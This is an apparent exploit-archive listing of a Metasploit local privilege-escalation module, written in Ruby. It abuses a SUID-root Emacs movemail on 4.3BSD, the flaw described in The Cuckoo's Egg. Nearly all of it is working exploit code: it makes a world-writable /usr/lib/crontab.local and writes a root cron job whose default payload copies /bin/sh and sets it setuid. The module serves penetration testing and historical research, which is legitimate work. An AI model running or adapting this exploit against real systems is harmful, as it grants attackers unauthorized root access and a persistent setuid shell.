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Emacs movemail Privilege Escalation

Emacs movemail Privilege Escalation
Posted Dec 4, 2018
Authored by wvu, Cliff Stoll, Markus Hess | Site metasploit.com

This Metasploit module exploits a SUID installation of the Emacs movemail utility to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local. The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.

tags | exploit, local, root
SHA-256 | 9a45ef7c2c0d7e05f3ad54afa5cf8a4f5e411cdd781a161604fbfb0258e39186

Emacs movemail Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File

def initialize(info = {})
super(update_info(info,
'Name' => 'Emacs movemail Privilege Escalation',
'Description' => %q{
This module exploits a SUID installation of the Emacs movemail utility
to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.
The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.
},
'Author' => [
'Markus Hess', # Discovery? atrun(8) exploit for sure
'Cliff Stoll', # The Cuckoo's Egg hacker tracker
'wvu' # Module and additional research
],
'References' => [
%w[URL https://en.wikipedia.org/wiki/Movemail],
%w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg],
%w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html],
%w[URL https://mailutils.org/manual/html_node/movemail.html]
],
'DisclosureDate' => '1986-08-01', # Day unknown, assuming first of month
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w[shell],
'Privileged' => true,
'Payload' => {'BadChars' => "\n", 'Encoder' => 'generic/none'},
'Targets' => [['/usr/lib/crontab.local', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'CMD' => 'cp /bin/sh /tmp && chmod u+s /tmp/sh'
}
))

register_options([
OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def bin_path
'/bin:/usr/bin:/usr/ucb:/etc'
end

def movemail
datastore['MOVEMAIL']
end

def crontab_local
'/usr/lib/crontab.local'
end

def crontab(cmd)
"* * * * * root #{cmd}\n* * * * * root rm -f #{crontab_local}"
end

# uname(1) does not exist, technique from /etc/rc.local
def is_43bsd?
cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD')
end

# id(1) does not exist
def is_root?
cmd_exec('whoami').include?('root')
end

# test -u does not exist
def setuid_root?(path)
cmd_exec("find #{path} -user root -perm -4000 -print").include?(path)
end

def setup
super

vprint_status("Setting a sane $PATH: #{bin_path}")

case cmd_exec('echo $SHELL')
when %r{/bin/sh}
vprint_status('Current shell is /bin/sh')
cmd_exec("PATH=#{bin_path}; export PATH")
when %r{/bin/csh}
vprint_status('Current shell is /bin/csh')
cmd_exec("setenv PATH #{bin_path}")
else
vprint_bad('Current shell is unknown')
end

vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")
end

def check
unless is_43bsd?
vprint_warning('System does not appear to be 4.3BSD')
end

unless file?(movemail)
vprint_bad("#{movemail} not found")
return CheckCode::Safe
end

unless movemail.end_with?('movemail')
vprint_warning("#{movemail} has an unexpected name")
end

unless setuid_root?(movemail)
vprint_status("Non-SUID-root #{movemail} found")
return CheckCode::Detected
end

vprint_good("SUID-root #{movemail} found")
CheckCode::Appears
end

def exploit
if is_root?
print_good('Session is already root, executing payload directly')
return cmd_exec(payload.encoded)
end

unless check == CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

# outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);
if file?(crontab_local)
fail_with(Failure::NoTarget, "#{crontab_local} already exists")
end

print_status('Preparing crontab with payload')
tab = crontab(payload.encoded)
vprint_line(tab)

# umask (umask (0) & 0333);
# (void) ftruncate (indesc, 0L);
print_status("Creating writable #{crontab_local}")
cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})")

unless writable?(crontab_local)
fail_with(Failure::NoAccess, "#{crontab_local} is not writable")
end

print_good("Writing crontab to #{crontab_local}")
cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")
print_warning('Please wait at least one minute for effect')
end

end
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